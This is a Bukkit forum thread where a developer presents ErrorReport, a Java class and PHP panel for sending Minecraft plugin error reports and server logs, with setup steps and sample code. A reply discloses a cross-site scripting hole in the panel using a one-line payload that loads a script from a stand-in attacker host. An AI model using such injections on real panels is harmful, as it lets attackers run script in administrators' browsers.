ErrorReport - Report, Suggest, Comment plugin fully in-game!

Discussion in 'Resources' started by spywhere, Oct 19, 2012.

Thread Status:
Not open for further replies.
  1. Offline

    spywhere

    ErrorReport help you and server owner to report plugin error fully in-game. Developer just embed this class into plugin and it will collect all error that occurred between server running and it will send to you when server owner report it...

    Features:
    - In-game report, suggest, comment on your plugin
    - Plugin key pairing
    - Fully customizable both how to report and control panel
    - Asynchronous operations (no server lag ;) )
    - SQL Database is required

    Downloads:
    DropBox <Edit by Moderator: Redacted mediafire url>
    HTML parsing fixed: Thanks to xiaomao


    How it's work:
    When plugin started, ErrorReport will start to collect console log and store in memory (you can choose how it's collect) and when server owner report, it'll send these logs and necessary information to you. That's it!

    Why it's required plugin key?:
    By let's only your plugin send a report to your site and for a basic security.

    How to use it [Web Server]:
    1. Download ErrorReport and extract it to somewhere else
    2. Upload all files in Web folder to your desire site
    3. Edit config.php file with your information
    4. Go to that site where you upload it
    5. Follow on screen instructions (which is just copy plugin key)
    6. Use plugin key with your plugin
    7. Done!

    How to use it http://dev.bukkit.org/bukkit-plugins/: 1. Download ErrorReport and extract it to somewhere else 2. Put ErrorReport.java in Plugin folder in your project 3. Create a new variable called "errorReport" or the name you want by typing within your plugin class [CODE]ErrorReport errorReport = new ErrorReport(this,"URL to ErrorReport site","PluginKey"); //"this" is your plugin class //Plugin key will be generated when you setup web server[/CODE]4. Put this code in onEnable() [CODE]Logger logger=Logger.getLogger("Minecraft"); logger.addHandler(this.errorReport); //Replace logger with your console logger[/CODE]5. Done. You're ready to report! How to report: You can report by using your plugin command, block, or anything you want. Just use this code when you want to report and it will send to your site... [CODE]this.errorReport.Report(ReportType.ERROR_REPORT, "Message here", "New line", sendWithAttachment); //You can change ReportType to your desire report //sendWithAttachment is boolean which will included server logs when set to "true" //New line will replace all new line character to your desire text (like "
    " to use in HTML) -- Default must be "|"[/CODE]* Asynchronous report can be found in "More details in server report" Screenshot: Login to Control Panel [IMG]http://dl.dropbox.com/u/65468988/Plugins/ErrorReport/Login.png[/IMG] First run setup [IMG]http://dl.dropbox.com/u/65468988/Plugins/ErrorReport/Setup.png[/IMG] Control Panel [IMG]http://dl.dropbox.com/u/65468988/Plugins/ErrorReport/Report.png[/IMG] More details in server logging: You can choose how ErrorReport collect server log by type this code (anywhere when you want it to start logging) usually this will set after add into logger [CODE]this.errorReport.setLogLevel(LogLevel.ALL); //LogLevel can be set to ALL and ERROR_ONLY[/CODE]More details in server report: You can also report with asynchronous task which prevent lag to the server by using this instead of normal reporting [CODE]this.errorReport.ASyncReport(CommandSender, ReportType.ERROR_REPORT, "Message", "New line", reportWithAttachment, ReportListener); //CommandSender is useful when you want to tell player that report is sent or not //ReportListener is an interface for receive an event from ErrorReport[/CODE]Sample Code: [CODE]package me.spywhere.Derp; import java.util.logging.Logger; import me.spywhere.Derp.ErrorReport.ReportListener; import me.spywhere.Derp.ErrorReport.ReportType; import org.bukkit.command.Command; import org.bukkit.command.CommandSender; import org.bukkit.plugin.java.JavaPlugin; public class Derp extends JavaPlugin{ Logger logger=Logger.getLogger("Minecraft"); ErrorReport errorReport=new ErrorReport(this, "http://localhost/ErrorReport/", "2d76382d3bb3929ff935be3a57941b17"); boolean sendWithErrorLog=true; private static class RepListener implements ReportListener { @Override public void onFailed(final CommandSender sender, final ReportType reportType) { sender.sendMessage("Error while sending "+reportType.getName().toLowerCase()+"..."); } @Override public void onSuccess(final CommandSender sender, final String returnMessage, final ReportType reportType) { if(returnMessage.toLowerCase().contains("ok")){ sender.sendMessage(reportType.getName()+" sent."); }else{ sender.sendMessage("Failed to send "+reportType.getName().toLowerCase()+"."); sender.sendMessage("Error: "+returnMessage); } } } public ErrorReport getErrorReport() { return this.errorReport; } @Override public boolean onCommand(final CommandSender sender, final Command cmd, final String commandLabel, final String[] args) { if(args.length>=2){ if(args[0].equalsIgnoreCase("asyncreport")){ String msg=""; for(int i=1;i 
    Last edited by a moderator: Mar 8, 2017
  • Offline

    xiaomao

    Your ZIP file doesn't decompress.
     
  • Offline

    spywhere

    Ok, I'll upload a new one now...
     
  • Offline

    xiaomao

    The code is really bad, no offence.

    Show Spoiler

    [​IMG]
    Show Spoiler

    Show Spoiler
    Show Spoiler
    Show Spoiler
    Show Spoiler

    Code:
    this.errorReport.Report(ReportType.ERROR_REPORT, "Message here <script src='http://bad.example.com/attack.js' type='text/javascript'></script>", "New line", sendWithAttachment);
     
  • Offline

    spywhere

    Oh, yeah. But you can improved it, right?

    PS. I see what I missed now -.-

    @Edit
    Fixed.
     
  • Thread Status:
    Not open for further replies.

    Share This Page